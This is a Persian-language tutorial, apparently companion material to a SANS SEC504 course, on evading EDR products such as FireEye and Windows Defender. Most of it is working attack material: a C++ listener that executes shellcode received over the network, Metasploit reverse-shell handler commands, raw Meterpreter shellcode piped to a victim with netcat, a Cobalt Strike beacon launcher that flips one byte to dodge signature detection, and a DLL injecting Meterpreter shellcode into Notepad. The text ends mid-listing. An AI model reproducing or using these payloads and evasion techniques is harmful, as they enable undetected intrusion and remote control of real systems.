امیرحسین تنگسیری نژاد
مهندس و مدرس شبکه و امنیت سایبری و مدیر کل جزیره هک و امنیت اطلاعات توسینسو

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

تکنیک تزریق فرآیند را Process Injection که اون رو با عنوان های مختلفی از حمله PE Injection میشناسیم بدین سبب که در این تکنیک همانطور که در ویدیو توضیح داده شد ما میتوانیم یک فرآیند یا یک Process مخرب را به یک Process عادی و قانونی و درحال اجرا تزریق کنیم که اینکار موجب پنهان سازی Process بدافزار ما میشود

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران
سلام خدمت کاربران عزیز وب سایت توسینسو از جمله دانشجویان دوره SANS SEC504 که به تدریس بنده بود رو تهیه کردند خیلی خیلی خوش اومدید به این مقاله، اگر یادتون باشه من توی قسمت EDR Evasion Techniques عنوان کردم که این مبحث فوق العاده مبحث پیچیده‌ایی هست
ولی درکنار ویدیو و تکنیک های که گفتیم بهتون قول دادم که یک مقاله کامل و جامع به عنوان یک مقاله مکمل در کنار آن ویدیو قرار بدم پس نتیجه کار ما و چندین روز وقت گذاشتن شد 5 سناریو و 5 موضوع عملی و جامع در رابطه با نحوه گرفتن دسترسی از سمت سیستم ها و تکنیک های که به سبب آن ها EDR ها Bypass میشوند.
تکنیک های عنوان شده در این مقاله صرفا فقط و فقط مثال های هستند برای درک عمیق این موضوع و گرفتن ایده برای پیاده سازی بر روی بستر های دیگه و شرایط مشابه ایی که ممکنه براتون پیش بیاد اما اگر علاقه ایی به مبحث EDR Evasion Techniques و یا Reverse Engineering ندارید پیشنهاد میکنم درحد مطالعه روزنامه وار این مقاله را دنبال کنید زیرا اطلاعات خوبی میتوانید به دست بیاورید. 

نکته: این مقاله صرفا فقط برای کسانی که دوره SANS SEC504 را تهیه کردند نیست و سعی شده به عنوان یک مقاله کامل و جامع در رابطه با مبحث EDR Bypassing ارائه شود که هم عزیزان و دانشجویان دوره SANS SEC504 بهره‌مند شوند از این مقاله و هم کسانی که علاقه دارند به این مبحث بسیار زیبا امیدوارم شاد و پیروز باشید بریم سراغ شروع مباحثمان اولین موضوعی که استفاده کردیم و عنوان کردیم VBScript و کاربرد آن در دور زدن EDR ها میباشد.

بررسی VBScript و کاربرد آن در دور زدن EDR ها

علاوه بر نکات عنوان شده درون ویدیو راه های مختلف و متنوعی نیز برای دور زدن EDR ها وجود دارد برای مثال ما اشاره ایی به .NET Framework داشتیم و کدنویسی خاصی رو مورد بررسی قرار دادیم که موجب حمله PE Injection میشد به همین سبب علاوه بر این موضوع قسمت حساس دیگر یک سیستم VBScript میباشد که راه بسیار خوبی هم برای نفوذ و هم برای دور زدن EDR ها میباشد.
این زبان ها به نوبه خود راهکار و حفره بسیار خوبی هستند برای کسانی که در حوزه تهاجمی و نفوذ فعالیت میکنند زیرا به عنوان راهکار و محموله اولیه خوبی برای راه اندازی و فرار از دست EDR ها میباشند از این دو زبان در بد افزار های متعددی از جمله Meterpreter و Cobalt Strike’s Beacon استفاده میشود. نمونه کد زیر را بررسی کنید که به سبب PowerShell.exe میتواند محتوا Meterpreter را اجرا سازی کند‌:

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

اولین بار زبان های مانند JScript و VBScript در سال 1996 در سیستم های ویندوزی معرفی و ارائه شدند که از این زمان تا به امروز 25 سال میگذرد و هنوز که هنوز است ما این زبان هارا به صورت فعال در سیستم های مدرن ویندوزی میبینیم‌ !

دور زدن EDR FireEye از طریق تکنیک تزریق فرآیند(Process Injection)

موجب دور زدن تجهیزات امنیتی از جمله DLP و AV و Firewall های تحت شبکه میشود علاوه بر این ها موجب یک فرآیند دیگر که ماهیت خوده Process Injection نیز میباشد هم میشود که همان تزریق و قرار دادن یک فرآیند مخرب در یک فرآیند درحال اجرا و قانونی است. در این بخش از مقاله ما میخوایم حالا به صورتی این موضوع رو بررسی کنیم

که این فرآیند بدین شکل است که قرار است یک EDR از کمپانی FireEire را بر روی دیوایس ویندوز 10 اجرا سازی کنیم و از اون با استفاده از تکنیک PE Injection بهره‌برداری کنیم اما شاید براتون سوال بشود که چرا PE Injection؟! چون این تکنیک یکی از تکنیک های بسیار پر استفاده با روش های متعدد و شناخته شده و تست شده است !

پس از این بابت نمیتونیم اعتنا کنیم به تکنیک های شناخته شده و پر استفاده شده زیرا ممکن است شناسایی شوند اما دلیل من برای این موضوع نکته ایی که در اطلاعات EDR FireEye به آن برخورد نکردم آنهم توانایی های در رابطه با جلوگیری یا کشف حملات PE Injection به همین سبب نکته و موضوعی که به ذهنم رسید این حمله بود و گفتیم بیایم شانس خودمونو امتحان کنیم

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

به طور معمول PE Injection به سه دسته تقسیم بندی میشود که از این 3 دسته پرکاربرد ترینشون اونی هست که درون ویدیو بهش اشاره شد

  • دسته اول: این دسته رو با عنوان Process Spawning میشناسیم و باید توجه داشته باشید که این تکنیک بسیار پرسرو صدا میباشد و استفاده از اون فقط در شرایطی خاص کاربرد دارد زیرا درصد تشخیص داده شدنش توسط سیستم های امنیتی زیاد است اما میتوان به خوبی از آن بهربرداری کرد از این رو در این سناریو دور زدن EDR FireEye قصد داریم با این تکنیک اینکار را انجام بدهیم.
  • دسته دوم: این دسته را عنوان Injecting During Process Initialization میشناسیم زیرا به سبب این تکنیک زمانی که Process مورد نظرما اجرا میشود پس از آن شروع به بارگیری و دریافت سازی کد های مخرب و فایل های مورد نظر خود میکند(برای مثال DLL های دستکاری شده و Applnit ها)
  • دسته سوم: این دسته را با عنوان Injecting into running processes یا همان Process Injection میشناسیم که این دسته جزوه بهترین روش ها برای اینکار است و میتوان از آن به شکل خیلی خوبی بهره‌برداری کرد که دقیقا دسته ایی است که در ویدیو توضیح دادیم.
    در این سناریو ما از Msfvenom به سبب ایجاد یک ShellCode به زبان C# استفاده کرده اییم که نحوه ایجاد و کار ما به شکل زیر میباشد

همانطور که میبینید پس از ایجاد ShellCode ما آن را در یک Process عادی که ماشین حساب ما میباشد تزریق کردیم.

آموزش روشهای دور زدن EDR به همراه مثالهای عملی
آموزش روشهای دور زدن EDR به همراه مثالهای عملی

همانطور که میبینید هیچ مشکلی پیش نیامده و به راحتی ما توانستیم ماشین حساب مخرب خودمان را اجرا سازی کنیم بدون آنکه EDR به آن گیر دهد.
آموزش روشهای دور زدن EDR به همراه مثالهای عملی
حالا که توانستیم به راحتی ماشین حساب مخرب حاوی ShellCode را اجرا سازی کنیم حال بیایید یک ShellCode دیگر‌ به سبب گرفتن یک دسترسی Reverse_Https

نکته: Reverse_Https تفاوتش با Reverse_Tcp در این است که Reverse_Https بر روی پروتکل امن سازی شده وب اجرا سازی میشود و شناسایی آن برای تجهیزات امنیتی کمی سخت میباشد زیرا آن ترافیک را یک ترافیک وب درنظر میگیرند.

 با ShellCode ایجاد شده همین فرآیند را پیاده سازی میکنیم اما میبینیم که ShellCode ما توسط EDR FireEye و قابلیت Signature Detection شناسایی میشود از این موضوع میتوانیم درس خوبی بگیریم که EDR FireEye در زمان اجرا سازی ShellCode ما از طریق کد داخلی باینری آن تشخیص داده میشود

آموزش روشهای دور زدن EDR به همراه مثالهای عملی
آموزش روشهای دور زدن EDR به همراه مثالهای عملی
حال برای رفع این مشکل و فرار از Signature Detection درون EDR FireEye میبایست چیکار کنیم؟! دقیقا معلوم است ما میبایست کد باینری داخلی درون ShellCode را حذف کنیم‌‌‌. حالا چگونه این را پیاده سازی کنیم؟ خیلی سادست فقط کافیه ShellCode را درون یک فایل .Bin ذخیره کنیم و آن را بر روی یک وب سرور قرار دهیم و به سبب کد C# مان بیایم و آن را دانلود کنیم و پس از دانلود آن را در Process داخلی مورد نظر خودمان تزریق کنیم به همین راحتی که در تصویر میبینید.
آموزش روشهای دور زدن EDR به همراه مثالهای عملی

حالا پس از اجرا سازی شدن آن ما به راحتی با ایجاد یک Handler روی بستر IP و Port که برای ShellCode درنظر گرفتیم میتوانیم به راحتی دسترسی خودمان را از سمت سیستم دریافت کنیم.
آموزش روشهای دور زدن EDR به همراه مثالهای عملی

دور زدن (2019) Microsoft EDR از طریق Meterpreter و Network Socket

حال بیاید بررسی کنیم که چگونه میشه در یک سناریو EDR شرکت Microsoft را دور زد. این EDR که توسط Microsoft با نام Windows Defender ارائه شده است با بهره‌گیری از تکنیک های متنوع توانسته است که جلوی برخی از حملات را روی بستر یک سیستم را بگیرد اما ما در این بخش از مقاله میخواهیم اثبات کنیم

که با وجود Windows Defender نیز میتوان ShellCode های خودمان را به سیستم مورد نظر تزریق کنیم. شاید با خودتون بگید که EDR بهتری پیدا نکردیم که اومدیم از Windows Defender استفاده میکنیم؟! اما دوستان این اشتباه رو نکنید Windows Defender به نوبه خودش واقعا EDR قدرتمندی هست و درگاهی شرایط جلوی اکثر حملات رو تونسته بگیره اما این ذهنیت برای اکثر مردم پیش اومده که Windows Defender بسیار سطح پایین و ضعیف است
که این موضوع قابل تکذیبه تکنیک استفاده شده در این بخش از مقاله به شرح زیر میباشد:
سناریو ما دارای دو سیستم میباشد یک سیستم Windows 10 به همراه Windows Defender و آدرس IP 10.0.0.7 و یک سیستم Kali Linux مجهز به ابزار های مورد نیاز به منظور دور زدن EDR و تزریق ShellCode به سیستم مورد نظر با آدرس IP 10.0.0.5
سیستم قربانی ما بر روی آدرس 443 که متعلق به Https میباشد
در حال گوش کردن است و از این بابت منتظر دریافت ShellCode میباشد به همین سبب سیستم Kali Linux به سیستم قربانی ما که Windows 10 است متصل میشود و ShellCode را به سیستم قربانی در قالب باینری تزریق میسازد پس از آن سیستم قربانی ما به راحتی ShellCode را بر روی بستر شبکه دریافت میکند و آن را اجرا سازی میکند و از این بابت ما به راحتی دسترسی Meterpreter بازگشتی خودمان را دریافت میکنیم‌.
در اینجا ما یک کد C++ داریم که میبایست آن را بر روی سیستم قربانی Complie کنیم.
#include "pch.h"

#include <WinSock2.h>

#include <WS2tcpip.h>

#include <iostream>

#include <Windows.h>

#pragma comment(lib, "ws2_32.lib")

//Tosinso SANS SEC504 EDR Bypassing Section

int main()

{

LPWSADATA wsaData = new WSAData();

ADDRINFOA *socketHint = new ADDRINFOA();

ADDRINFOA *addressInfo = new ADDRINFOA();

SOCKET listenSocket = INVALID_SOCKET;

SOCKET clientSocket = INVALID_SOCKET;

CHAR bufferReceivedBytes[4096] = {0};

INT receivedBytes = 0;

PCSTR port = "443";

socketHint->ai_family = AF_INET;

socketHint->ai_socktype = SOCK_STREAM;

socketHint->ai_protocol = IPPROTO_TCP;

socketHint->ai_flags = AI_PASSIVE;

WSAStartup(MAKEWORD(2, 2), wsaData);

GetAddrInfoA(NULL, port, socketHint, &addressInfo);

listenSocket = socket(addressInfo->ai_family, addressInfo->ai_socktype, addressInfo->ai_protocol);

bind(listenSocket, addressInfo->ai_addr, addressInfo->ai_addrlen);

listen(listenSocket, SOMAXCONN);

std::cout << "Listening on TCP port " << port << std::endl;

clientSocket = accept(listenSocket, NULL, NULL);

std::cout << "Incoming connection..." << std::endl;

receivedBytes = recv(clientSocket, bufferReceivedBytes, sizeof(bufferReceivedBytes), NULL);

if (receivedBytes > 0) {

std::cout << "Received shellcode bytes " << receivedBytes << std::endl;

}

LPVOID shellcode = VirtualAlloc(NULL, receivedBytes, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

std::cout << "Allocated memory for shellocode at: " << shellcode << std::endl;

memcpy(shellcode, bufferReceivedBytes, sizeof(bufferReceivedBytes));

std::cout << "Copied shellcode to: " << shellcode << std::endl << "Sending back meterpreter session...";

((void(*)()) shellcode)();

return 0;

}
}
نکته: برای اینکار میتونید از Complier های متعددی از جمله X و Y استفاده نمایید که مخصوص اجرا سازی و Complie کد های C++ در سیستم های ویندوزی میباشند.
پس از اینکار میبایست بررسی کنیم که Port 443 بر روی هدف ما باز شده است یا خیر
netstat -nat | findstr /i listen | findstr /i 443
آموزش روشهای دور زدن EDR به همراه مثالهای عملی

بعد از این موضوع به سراغ سیستم Kali Linux خود میرویم و ShellCode مورد نظرمان را ایجاد میکنیم و آن را درقالب فایل C قرار میدهیم
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
آموزش روشهای دور زدن EDR به همراه مثالهای عملی
حالا کافیست که از طریق Metasploit یک Handler را ایجاد کنیم به شکل زیر
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
آموزش روشهای دور زدن EDR به همراه مثالهای عملی

پس از آن نوبت این رسیده که با دستور زیر که از ابزار netcat که با آن در دوره SANS SEC504 آشنا شدیم استفاده میکند ShellCode خودمان را به آدرس مورد نظر که قربانی ما است منتقل و ارسال کنیم
echo -e "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x05\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5" | nc 10.0.0.7 443

ما با استفاده از بالا توانستیم که ShellCode مورد نظرمان را با استفاده از ابزار NetCat بر روی بستر شبکه انتقال دهیم به سمت آدرس 10.0.0.7 که آدرس سیستم قربانی ما است و Port 443 که Port مورد نظرما برای دریافت ShellCode روی سیستم قربانی میباشد‌.

دور زدن (2019) Microsoft EDR از طریق 1 Byte Change 

حال بیاید یک تکنیک دیگر استفاده کنیم که به سبب آن قرار است از یک مثال رونمایی کنیم که ببینیم درگاهی شرایط میتوان با تغییر فقط یک Byte از یک ShellCode به راحتی آن را اجرا سازی کرد و از دست EDR ها فرار کرد. نکته: این تکنیک نیز بر روی بستر Windows Defender 2019 رخ میدهد دوستان
در این سناریو ما از یک سیستم ویندوز 10 1803 با Windows Defender 2019 استفاده کرده اییم که قرار است EDR آن را با تغییر یک Byte در ShellCode دور بزنیم و از آن فرار کنیم علاوه بر این ما اینجا یک سیستم Kali Linux به همراه Cobalt Strike داریم که قرار است به عنوان Attacker ما فعالیت کند. این موضوع شدید کمی خنده دار باشد که با تغییر یک Byte بتوانیم از دست EDR ها فرار کنیم اما خب با مثالی که اینجا داریم این موضوع را به اثبات میرسانیم‌.
در مرحله عادی به طور قطع توسط EDR نرم افزار ما شناخته میشود اما بیاید Cobalt Strike Shellcode ایجاد شده خودمان با ترفند 1 Byte پیش ببریم.
ابتدا ما یک SellCode را در قالب زبان C ایجاد مینماییم

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

اگر توجه کنید اولین Byte ما مقدار \xfc میباشد. ما از یک تکنیک ساده Process Injection استفاده میکنیم و ShellCode را درون نرم افزار مورد نظر قرار میدهیم که فقط یک Launcher ساده میباشد. در خط 80 مقدار اولین Byte را میتوانید با هر Byte دیگر تغییر دهید و یا عوض کنیدن
پس از آن مقدار 1 Byte مارا در خط 81 درون یک متغییر Char قرار میدهیم حال میبایست قبل از اینکه ShellCode ایجاد شده توسط ما به صورت کامل در محدوده Memory اختصاص داده شده تزریق و اضافه شود میبایست Bad Byte خودمان با با یک Byte صحیح(خط 86 ) Flip کنیم.

آموزش روشهای دور زدن EDR به همراه مثالهای عملی
کد استفاده شده برای Process Injection و تزریق ShellCode در Launcher برای تست کردن:

shellcodelauncher.cpp
#include "stdafx.h"

#include "Windows.h"
int main(int argc, char *argv[]) {

::ShowWindow(::GetConsoleWindow(), SW_HIDE);

// cobalt strike beacon shellcode x64

unsigned char shellcode[] = "\xfd\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x63\x72\x38\x50\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x31\x2e\x31\x2e\x34\x33\x32\x32\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x35\x00\x00\x00\x00\x00";

char first[] = "\xfc";

void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcode, first, 1);

memcpy(exec, shellcode, sizeof shellcode);

((void(*)())exec)();
return 0;
}

حالا آن را اجرا سازی میکنیم و نتیجه را تماشا میکنیم‌. در سمت چپ سیستم ویندوز 10 را میبینیم و در سمت راست Cobalt Strike را میبینیم که پس از اجرا شدن ShellCode به ما آن را نمایش داد.   که به راحتی توانستیم از دست EDR فرار کنیم و توسط EDR در سیستم شناخته نشویم و فقط اینکار با تغییر 1 Byte در ShellCode مان انجام شد. 

آموزش روشهای دور زدن EDR به همراه مثالهای عملی
در تصویر زیر میبینیم که توانستیم دسترسی از سمت Console راهم داشته باشیم و به راحتی یک ارتباط پایدار و بدون تشخیص داده شدن توسط EDR هارا دریافت کنیم.

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

تزریق کد از طریق SetWindowHookEx

حالا بیاید بررسی کنیم به چه شکل میتوانیم با ایجاد Hook ها فرآیند Code Injection را بر روی بستر سیستم ویندوزی داشته باشیم. 
نکته: این صرفا یک مثال از نحوه تزریق Code در یک سیستم ویندوزی میباشد و صرفا هدف دور زدن EDR نیست.
در این بخش از کارگاه عملی مان قصد داریم که با استفاده از SetWindowHookEx یک DLL مخرب را درون نرم افزار NotePad.exe تزریق کنیم و از آن بهره‌برداری کنیم.  برای اینکار ما از قبل از Meterpreter ShellCode استفاده مینماییم و درون کد خود با تابع spotlessExport یک DLL را ایجاد میکنیم که حاوی مقدار Meterpreter ShellCode ما میباشد‌. حال میبایست با استفاده از Dumpbin.exe فایل DLL ایجاد شده را بررسی کنیم و مطمئن شویم به درستی ایجاد شده است

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

در تصویر بالا خروجی توابع فایل DLLhock.dll را میتوانیم از طریق CEF Explorer و هم Dumpbin ببینیم. حالا نوبت به بهرداری از این تکنیک میشود؛ در سمت راست ما ابزار Process Explorer را میبینیم که NotePad را انتخاب کرده است و در وسط کد Hook و در سمت چپ نیز Handler را میبینیم که در ایجاد فقط با اجرا سازی کد‌مان به راحتی دسترسی Meterpreter را دریافت میکنیم

آموزش روشهای دور زدن EDR به همراه مثالهای عملی

کد های استفاده شده در این سناریو:

:DLLHook.cpp

#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)
{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;
}

return TRUE;

}

extern "C" __declspec(dllexport) int spotlessExport() {

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(exec, shellcode, sizeof shellcode);

((void(*)())exec)();


return 0;
}
:Hook.cpp
#include "pch.h"

#include <iostream>

#include <Windows.h>

int main()

{
HMODULE library = LoadLibraryA("dllhook.dll");
